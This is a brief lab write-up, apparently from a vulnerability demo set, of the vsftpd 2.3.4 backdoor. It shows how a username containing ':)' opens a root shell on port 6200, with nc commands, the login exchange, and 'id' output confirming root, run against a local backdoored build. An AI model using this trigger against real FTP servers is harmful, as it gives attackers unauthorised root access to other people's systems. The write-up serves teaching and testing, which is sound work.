- Type: hardcoded credentials
- Affected versions: 2.3.4
When authenticating into the FTP server, if the username contains ":)"
, a shell is bound to port
6200.
First, we need to start the FTP server (e.g., with the backdoored variant):
$ ./backdoored/vsftpd ./vsftpd.conf
In a separate terminal, we can trigger the backdoor:
$ nc localhost 8080 # connect to FTP server
220 (vsFTPd 2.3.4)
USER test:)
331 Please specify the password.
PASS x
We can now connect to a root shell on port 6200:
$ nc localhost 6200
id
uid=0(root) gid=0(root) groups=0(root)
https://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html